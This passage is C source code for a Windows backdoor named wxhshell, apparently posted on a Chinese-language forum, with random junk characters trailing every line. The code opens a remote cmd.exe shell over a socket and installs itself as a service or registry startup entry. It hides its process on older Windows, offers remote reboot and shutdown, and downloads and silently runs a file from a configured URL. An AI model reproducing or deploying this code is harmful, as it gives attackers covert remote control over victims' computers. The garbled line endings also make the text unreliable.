  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HK=CP0H  
  } `mWQWx$V!  
  else { 1@s^$fvW  
y`T--v3mI  
    switch(cmd[0]) { QJniM"8v  
  [k}dES#  
  // 帮助 ktdz@f  
  case '?': { s n=zh1 A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W'm!f  
    break; !e9N3Ga  
  } ]Sk#a-^~  
  // 安装 $&c<T4$d  
  case 'i': { R'jUS7]Y  
    if(Install()) o$^O<zL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )jp{*?^\  
    else 0:PH[\Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :$+D 2*(  
    break; c g3Cl[s  
    } vEX|Q\b6'  
  // 卸载 wGZ>iLe:  
  case 'r': { i,C0o   
    if(Uninstall()) ?nj"Ptzs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y8{T.\%\+  
    else >}xAg7\^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :9v*,*@x  
    break; )ylv(qgV  
    } r|u6OF>  
  // 显示 wxhshell 所在路径 A} x_zt  
  case 'p': { |8&\N  
    char svExeFile[MAX_PATH]; qBf wN1  
    strcpy(svExeFile,"\n\r"); )F=JkG  
      strcat(svExeFile,ExeFile); 1 P(&GYc  
        send(wsh,svExeFile,strlen(svExeFile),0); Ew)n~!s  
    break; &/z+A{Hi  
    } 401/33yBJ  
  // 重启 60.[t9pk6  
  case 'b': { iqc4O /  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W o<PmSt9i  
    if(Boot(REBOOT)) ir( -$*J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S&;T_^|  
    else { {Zd)U "  
    closesocket(wsh); %N?W]vbra  
    ExitThread(0); P'F Pe55F  
    } t1*BWY  
    break; !HT>  
    } %B*<BgJ;4F  
  // 关机 gdkLPZ<<  
  case 'd': { K{eqB!@j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zyQ,unu  
    if(Boot(SHUTDOWN)) vfk7J5y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Oe_} jv;  
    else { +aXMHT"U  
    closesocket(wsh); 2Mv)0%,c  
    ExitThread(0); cP$wI;P  
    } GA%"w=M\  
    break; Azdz3/  
    } P|!/mu]  
  // 获取shell 6_ 33*/>=c  
  case 's': { BIHHRCe:@n  
    CmdShell(wsh); \]~kyy  
    closesocket(wsh); ePPp)=  
    ExitThread(0); 2\$WP-)%  
    break; P^uP$D  
  } LRqw\fKk[  
  // 退出 -=v/p*v0o  
  case 'x': { Q T0IW(A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6cgpg+-a  
    CloseIt(wsh); )\:lYI}Wpm  
    break; *cI6 &;y  
    } f0HV*%8  
  // 离开 3f7t%  
  case 'q': { }tl8(kjm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K2cpf  
    closesocket(wsh); KNUMz4  
    WSACleanup(); gpO_0U4lQ]  
    exit(1); ,_TH@0{   
    break; s$+: F$Y0  
        } NL>[8#  
  } yC&b-y  
  } US*<I2ZLh  
GFy0R"&d[  
  // 提示信息 T[8"u<O96  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \V!X& a  
} MU^xu&MB  
  } Fc{6*wtO  
[/#k$-  
  return; {TcbCjyw  
} $.x?in|_  
PL$(/Z  
// shell模块句柄 !m/Dd0  
int CmdShell(SOCKET sock) Pvb+   
{ 2)j#O  
STARTUPINFO si; ^r?sgJ  
ZeroMemory(&si,sizeof(si)); BW(DaNt^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :n%sU* 'T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,co9f.(w  
PROCESS_INFORMATION ProcessInfo; V]CK'   
char cmdline[]="cmd"; VES4x%r=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D/%b@Ls2ze  
  return 0; IZ(CRKCGBl  
} 07G*M ]  
>sl1 cC  
// 自身启动模式 =+sIX3  
int StartFromService(void) \qK}(xq[  
{ +%cr?g  
typedef struct 8d*<Aki?;  
{ KWuj_.;  
  DWORD ExitStatus; *M\i4FO8  
  DWORD PebBaseAddress; 88+\mX;A#  
  DWORD AffinityMask; %q\P'cK  
  DWORD BasePriority; ] l qFht  
  ULONG UniqueProcessId; <=GzK:4L  
  ULONG InheritedFromUniqueProcessId; /{#_Um0.  
}   PROCESS_BASIC_INFORMATION; JEkIbf?=r  
(qc!-Isd~[  
PROCNTQSIP NtQueryInformationProcess; q.hc%s2?  
_-yF9g"I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hh'14n&W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %n`iA7j$W  
Xk9r"RmiOb  
  HANDLE             hProcess; 77bZ  
  PROCESS_BASIC_INFORMATION pbi; Lq8Z!AIw>  
] F) -}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NcY0pAR*  
  if(NULL == hInst ) return 0; Q17o5##x7  
W;AWO0+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YC,.Y{oY{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tEs[zo+DR-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X-) ]lAP  
kBQenMm  
  if (!NtQueryInformationProcess) return 0; : 1f5;]%N  
V/wc[p ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r7BH{>-  
  if(!hProcess) return 0; ?}>Z_ ("  
lO[jf6gB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OB I8~k  
r(xlokpnb6  
  CloseHandle(hProcess); $}"Wta  
y2ws*IZ"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )k%drdY{J'  
if(hProcess==NULL) return 0; z%gtV'  
j &[WE7wf  
HMODULE hMod; :@807OYzy  
char procName[255]; kG7,1teMk  
unsigned long cbNeeded; $(mdz)Cfy  
=&g}Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aD3F!Sn  
]GPz>k  
  CloseHandle(hProcess); DP'Dg /D  
r D!.N   
if(strstr(procName,"services")) return 1; // 以服务启动 |>fS"u  
1?#p !;&  
  return 0; // 注册表启动 N(/<qv  
} M,! no  
KJ{F,fr+v  
// 主模块 4JQ`&:?r  
int StartWxhshell(LPSTR lpCmdLine) ydFhw}1>  
{ 3f.Gog  
  SOCKET wsl; byxehJ6[V  
BOOL val=TRUE; tJF~Xv2L!  
  int port=0; GBOmVQ $Hb  
  struct sockaddr_in door; G?1V~6  
``)1`wx$  
  if(wscfg.ws_autoins) Install(); + T-zf@j  
NF.6(PG|  
port=atoi(lpCmdLine); V +<AG*[  
nXaX=  
if(port<=0) port=wscfg.ws_port; (<~ R[sT|  
>oaEG5%d  
  WSADATA data; L<>NL$CrN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NHVx!Kc  
] Sx= y<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |DS@90}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F?AfB[PM  
  door.sin_family = AF_INET; l7y`$8Co  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )0V]G{QN  
  door.sin_port = htons(port); 3S|;yOl#X  
Dj&bHC5%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  KGwL09)  
closesocket(wsl); \ #c+vfq  
return 1; r!gCh`PiK  
} <>/MKMq!  
^* v{t?u  
  if(listen(wsl,2) == INVALID_SOCKET) { "X}F%:HL  
closesocket(wsl); mSw?iL  
return 1; 9nAK6$/  
} QN8Hz/}\  
  Wxhshell(wsl); 5va&N<U  
  WSACleanup(); gJ~*rWBK:  
&UH z  
return 0; s31_3?Vdf,  
4z DAfi#0  
} ;m:GUp^[  
8VGXw;(Y,d  
// 以NT服务方式启动 (mr` ?LI}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Zy=vk*  
{ NJ!#0[@C  
DWORD   status = 0; 4$w-A-\ t  
  DWORD   specificError = 0xfffffff; BcO2* 3  
$5(%M8qmQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }ucg!i3C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5!{g6=(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |3o@I uGt  
  serviceStatus.dwWin32ExitCode     = 0; CPE F,,\  
  serviceStatus.dwServiceSpecificExitCode = 0; )@|Fh@|  
  serviceStatus.dwCheckPoint       = 0; =C2C~Xd  
  serviceStatus.dwWaitHint       = 0; r>@/XYK&\  
O*CX@Ne  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uKzz/Y{  
  if (hServiceStatusHandle==0) return; 717m.t,x  
 ,qqV11P]  
status = GetLastError(); [zd-=.:+M[  
  if (status!=NO_ERROR) /s_$CSiB  
{ Ybg`Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; = +\oL!^  
    serviceStatus.dwCheckPoint       = 0; KTJ $#1q  
    serviceStatus.dwWaitHint       = 0; \uIC<#o"N  
    serviceStatus.dwWin32ExitCode     = status; 5i&V ~G  
    serviceStatus.dwServiceSpecificExitCode = specificError; rmoEc]kt]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Exq=oV  
    return; e(N <Mf  
  } u`nn{C4D"  
Zul32]1r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l@jJJ)Qyk  
  serviceStatus.dwCheckPoint       = 0; .HJHJ.Js8X  
  serviceStatus.dwWaitHint       = 0; :m)?+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Loe y   
} NistW+{<  
OyZ>R~c'B  
// 处理NT服务事件,比如:启动、停止 dAt[i \S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _( Cp   
{ oIgj)AY<  
switch(fdwControl) j"=jK^  
{ m,q<R1  
case SERVICE_CONTROL_STOP: He23<hd!  
  serviceStatus.dwWin32ExitCode = 0; Y)RikF >  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O:R{4Q*5  
  serviceStatus.dwCheckPoint   = 0; $QnfpM%+=  
  serviceStatus.dwWaitHint     = 0; 0P >dXd)T  
  { yln.E vJjD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tTamFL6  
  } <a3XV  
  return; )$g /PQ  
case SERVICE_CONTROL_PAUSE: }PuO$ L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :AGQkJb  
  break; Im#$iPIvT  
case SERVICE_CONTROL_CONTINUE: 4 l(o{{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *r3vTgo$  
  break; |th )Q  
case SERVICE_CONTROL_INTERROGATE: _xsYcw~)  
  break; vBXr[XoC  
}; H:Le^WS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,' B=eY,  
} gC 4#!P  
(k45k/PAP  
// 标准应用程序主函数 -6>rR{z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @SXgaWr  
{ g H.^NO5\'  
rP_)*)  
// 获取操作系统版本 2G;d2LR:  
OsIsNt=GetOsVer(); |&Wo-;Ud  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y9<Fv|Ric  
rJwJ5U  
  // 从命令行安装 [X]o`  
  if(strpbrk(lpCmdLine,"iI")) Install(); gQwmYe  
X2Mj|_#u  
  // 下载执行文件 LOzKpvGl  
if(wscfg.ws_downexe) { #YdU,y=B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .m51/X&*n  
  WinExec(wscfg.ws_filenam,SW_HIDE); (1vS)v $L  
} #\QC%"%f  
voEc'JET  
if(!OsIsNt) { mD3#$E!A1  
// 如果时win9x,隐藏进程并且设置为注册表启动 [8#l~ |U  
HideProc(); Qg=~n:j  
StartWxhshell(lpCmdLine); h08T Q=n  
} IuD<lMeJ J  
else 3.Kdz}  
  if(StartFromService()) }X-ggO,  
  // 以服务方式启动 `Fr$q1qae{  
  StartServiceCtrlDispatcher(DispatchTable); i=@*F$,  
else L4%LE/t|e  
  // 普通方式启动 jRc#>;dN  
  StartWxhshell(lpCmdLine); |n8^Xsx4w  
gX<C-y6o  
return 0; C? S%fF  
}
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只看该作者 1 发表于: 2006-10-10
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